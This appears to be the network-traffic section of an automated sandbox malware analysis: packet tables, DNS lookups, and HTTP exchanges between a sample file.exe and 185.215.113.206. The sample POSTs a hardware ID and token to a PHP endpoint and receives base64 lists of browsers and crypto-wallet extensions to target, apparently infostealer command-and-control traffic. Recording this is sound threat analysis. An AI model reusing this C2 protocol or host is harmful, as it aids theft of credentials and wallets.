Nov 1, 2024 03:46:45.483978033 CET	443	50023	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.484033108 CET	443	50023	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.484091997 CET	50023	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:45.484133005 CET	50023	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:45.492783070 CET	443	50022	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.492860079 CET	443	50022	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.492959023 CET	50022	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:45.506138086 CET	50024	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:45.537679911 CET	50024	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:45.537689924 CET	443	50024	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.538510084 CET	50024	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:45.538513899 CET	443	50024	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.538781881 CET	50023	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:45.538805962 CET	443	50023	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.540898085 CET	50022	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:45.540927887 CET	443	50022	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.592200994 CET	443	50025	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.627948999 CET	50025	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:45.627979994 CET	443	50025	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.628540039 CET	50025	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:45.628546000 CET	443	50025	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.633867025 CET	50027	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:45.633902073 CET	443	50027	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.634078026 CET	50027	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:45.634608030 CET	50027	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:45.634619951 CET	443	50027	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.665625095 CET	443	50024	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.665716887 CET	443	50024	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.665777922 CET	50024	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:45.666361094 CET	50024	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:45.666373014 CET	443	50024	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.666496992 CET	50024	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:45.666502953 CET	443	50024	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.679558039 CET	443	50026	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.680212975 CET	50026	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:45.680223942 CET	443	50026	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.680747032 CET	50026	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:45.680752039 CET	443	50026	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.755950928 CET	443	50025	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.756002903 CET	443	50025	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.756148100 CET	50025	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:45.757405996 CET	50025	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:45.757417917 CET	443	50025	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.757430077 CET	50025	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:45.757433891 CET	443	50025	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.808767080 CET	443	50026	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.808866978 CET	443	50026	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.809166908 CET	50026	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:45.809190035 CET	50026	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:45.809201002 CET	443	50026	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:45.809211016 CET	50026	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:45.809216022 CET	443	50026	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:46.369863033 CET	443	50027	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:46.370413065 CET	50027	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:46.370446920 CET	443	50027	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:46.371047020 CET	50027	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:46.371053934 CET	443	50027	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:46.500202894 CET	443	50027	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:46.500457048 CET	443	50027	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:46.500561953 CET	50027	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:46.500598907 CET	50027	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:46.500616074 CET	443	50027	13.107.246.45	192.168.2.4
Nov 1, 2024 03:46:46.500626087 CET	50027	443	192.168.2.4	13.107.246.45
Nov 1, 2024 03:46:46.500633001 CET	443	50027	13.107.246.45	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 1, 2024 03:45:15.410586119 CET	53	49224	1.1.1.1	192.168.2.4
Nov 1, 2024 03:45:15.512454987 CET	53	56199	1.1.1.1	192.168.2.4
Nov 1, 2024 03:45:15.629971981 CET	56434	53	192.168.2.4	1.1.1.1
Nov 1, 2024 03:45:15.630321980 CET	52566	53	192.168.2.4	1.1.1.1
Nov 1, 2024 03:45:15.636652946 CET	53	56434	1.1.1.1	192.168.2.4
Nov 1, 2024 03:45:15.636847019 CET	53	52566	1.1.1.1	192.168.2.4
Nov 1, 2024 03:45:16.744482994 CET	53	61667	1.1.1.1	192.168.2.4
Nov 1, 2024 03:45:19.106352091 CET	138	138	192.168.2.4	192.168.2.255
Nov 1, 2024 03:45:20.058604956 CET	53935	53	192.168.2.4	1.1.1.1
Nov 1, 2024 03:45:20.058902025 CET	61999	53	192.168.2.4	1.1.1.1
Nov 1, 2024 03:45:20.071908951 CET	53	54101	1.1.1.1	192.168.2.4
Nov 1, 2024 03:45:20.071921110 CET	53	53935	1.1.1.1	192.168.2.4
Nov 1, 2024 03:45:20.071930885 CET	53	61999	1.1.1.1	192.168.2.4
Nov 1, 2024 03:45:21.056149006 CET	65241	53	192.168.2.4	1.1.1.1
Nov 1, 2024 03:45:21.056487083 CET	49871	53	192.168.2.4	1.1.1.1
Nov 1, 2024 03:45:21.062876940 CET	53	65241	1.1.1.1	192.168.2.4
Nov 1, 2024 03:45:21.063215017 CET	53	49871	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 1, 2024 03:45:15.629971981 CET	192.168.2.4	1.1.1.1	0xb98	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:45:15.630321980 CET	192.168.2.4	1.1.1.1	0xf03c	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 1, 2024 03:45:20.058604956 CET	192.168.2.4	1.1.1.1	0xe19e	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:45:20.058902025 CET	192.168.2.4	1.1.1.1	0x6a38	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 1, 2024 03:45:21.056149006 CET	192.168.2.4	1.1.1.1	0x7482	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:45:21.056487083 CET	192.168.2.4	1.1.1.1	0xc05	Standard query (0)	play.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 1, 2024 03:45:15.636652946 CET	1.1.1.1	192.168.2.4	0xb98	No error (0)	www.google.com		172.217.18.4	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:45:15.636847019 CET	1.1.1.1	192.168.2.4	0xf03c	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 1, 2024 03:45:20.071921110 CET	1.1.1.1	192.168.2.4	0xe19e	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 03:45:20.071921110 CET	1.1.1.1	192.168.2.4	0xe19e	No error (0)	plus.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Nov 1, 2024 03:45:20.071930885 CET	1.1.1.1	192.168.2.4	0x6a38	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 1, 2024 03:45:21.062876940 CET	1.1.1.1	192.168.2.4	0x7482	No error (0)	play.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.google.com

apis.google.com

fs.microsoft.com

play.google.com

slscr.update.microsoft.com

otelrules.azureedge.net

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.206	80	6336	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 03:45:05.239502907 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 03:45:06.178685904 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 03:45:06.280311108 CET	412	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKECAEBGHDAEBFHIEGHI Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 39 31 43 41 41 46 42 42 34 37 38 37 33 37 34 37 32 34 34 38 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 41 45 42 47 48 44 41 45 42 46 48 49 45 47 48 49 2d 2d 0d 0a Data Ascii: ------BKECAEBGHDAEBFHIEGHIContent-Disposition: form-data; name="hwid"091CAAFBB478737472448------BKECAEBGHDAEBFHIEGHIContent-Disposition: form-data; name="build"tale------BKECAEBGHDAEBFHIEGHI--
Nov 1, 2024 03:45:06.586179018 CET	407	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 6a 63 7a 59 6a 59 32 4f 47 51 35 59 7a 5a 69 59 6a 42 69 4d 6d 55 33 5a 6a 4a 6c 4e 47 46 6d 4d 6a 51 32 59 32 45 32 5a 6a 5a 6d 4f 44 55 35 5a 44 64 6c 4f 57 4a 6d 4d 7a 42 6a 5a 54 6b 7a 4d 7a 45 33 4e 6d 4d 35 59 57 52 6d 4e 32 49 35 4d 54 4d 77 4e 7a 4e 69 4e 57 49 77 5a 57 4d 35 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NjczYjY2OGQ5YzZiYjBiMmU3ZjJlNGFmMjQ2Y2E2ZjZmODU5ZDdlOWJmMzBjZTkzMzE3NmM5YWRmN2I5MTMwNzNiNWIwZWM5fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 1, 2024 03:45:06.587869883 CET	470	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAFBAEBKJKFIDHJJKJK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 41 46 42 41 45 42 4b 4a 4b 46 49 44 48 4a 4a 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 33 62 36 36 38 64 39 63 36 62 62 30 62 32 65 37 66 32 65 34 61 66 32 34 36 63 61 36 66 36 66 38 35 39 64 37 65 39 62 66 33 30 63 65 39 33 33 31 37 36 63 39 61 64 66 37 62 39 31 33 30 37 33 62 35 62 30 65 63 39 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 41 45 42 4b 4a 4b 46 49 44 48 4a 4a 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 42 41 45 42 4b 4a 4b 46 49 44 48 4a 4a 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------HDAFBAEBKJKFIDHJJKJKContent-Disposition: form-data; name="token"673b668d9c6bb0b2e7f2e4af246ca6f6f859d7e9bf30ce933176c9adf7b913073b5b0ec9------HDAFBAEBKJKFIDHJJKJKContent-Disposition: form-data; name="message"browsers------HDAFBAEBKJKFIDHJJKJK--
Nov 1, 2024 03:45:06.879699945 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Nov 1, 2024 03:45:06.880323887 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Nov 1, 2024 03:45:06.882268906 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJKECAAAFHJECAAAEBFC Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 33 62 36 36 38 64 39 63 36 62 62 30 62 32 65 37 66 32 65 34 61 66 32 34 36 63 61 36 66 36 66 38 35 39 64 37 65 39 62 66 33 30 63 65 39 33 33 31 37 36 63 39 61 64 66 37 62 39 31 33 30 37 33 62 35 62 30 65 63 39 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 45 43 41 41 41 46 48 4a 45 43 41 41 41 45 42 46 43 2d 2d 0d 0a Data Ascii: ------HJKECAAAFHJECAAAEBFCContent-Disposition: form-data; name="token"673b668d9c6bb0b2e7f2e4af246ca6f6f859d7e9bf30ce933176c9adf7b913073b5b0ec9------HJKECAAAFHJECAAAEBFCContent-Disposition: form-data; name="message"plugins------HJKECAAAFHJECAAAEBFC--
Nov 1, 2024 03:45:07.173990011 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 02:45:07 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 1, 2024 03:45:07.174097061 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 1, 2024 03:45:07.174110889 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 1, 2024 03:45:07.174711943 CET	536	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 1, 2024 03:45:07.174724102 CET	1236	IN	Data Raw: 5a 47 5a 74 62 57 46 6f 61 47 4a 71 5a 57 5a 6a 59 6d 64 68 62 32 78 6f 61 47 46 75 62 47 46 76 62 47 4a 38 4d 58 77 77 66 44 42 38 52 55 39 54 49 45 46 31 64 47 68 6c 62 6e 52 70 59 32 46 30 62 33 4a 38 62 32 56 73 61 6d 52 73 5a 48 42 75 62 57 Data Ascii: ZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHBubWRiY2hvbmllbGlkZ29iZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV0aGVudGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHxCaXR3YXJkZW58bm5nY2Vja2JhcGViZmltbmxuaWlpYWh
Nov 1, 2024 03:45:07.175381899 CET	1236	IN	Data Raw: 61 6d 4a 77 62 32 78 6c 61 57 46 74 59 58 77 78 66 44 42 38 4d 48 78 4f 61 57 64 6f 64 47 78 35 49 46 64 68 62 47 78 6c 64 48 78 6d 61 57 6c 72 62 32 31 74 5a 47 52 69 5a 57 4e 6a 59 57 39 70 59 32 39 6c 61 6d 39 75 61 57 46 74 62 57 35 68 62 47 Data Ascii: amJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXBobGRha2lrZ2VmfDF8MHwwfE11bHRpdmVyc1ggRGV
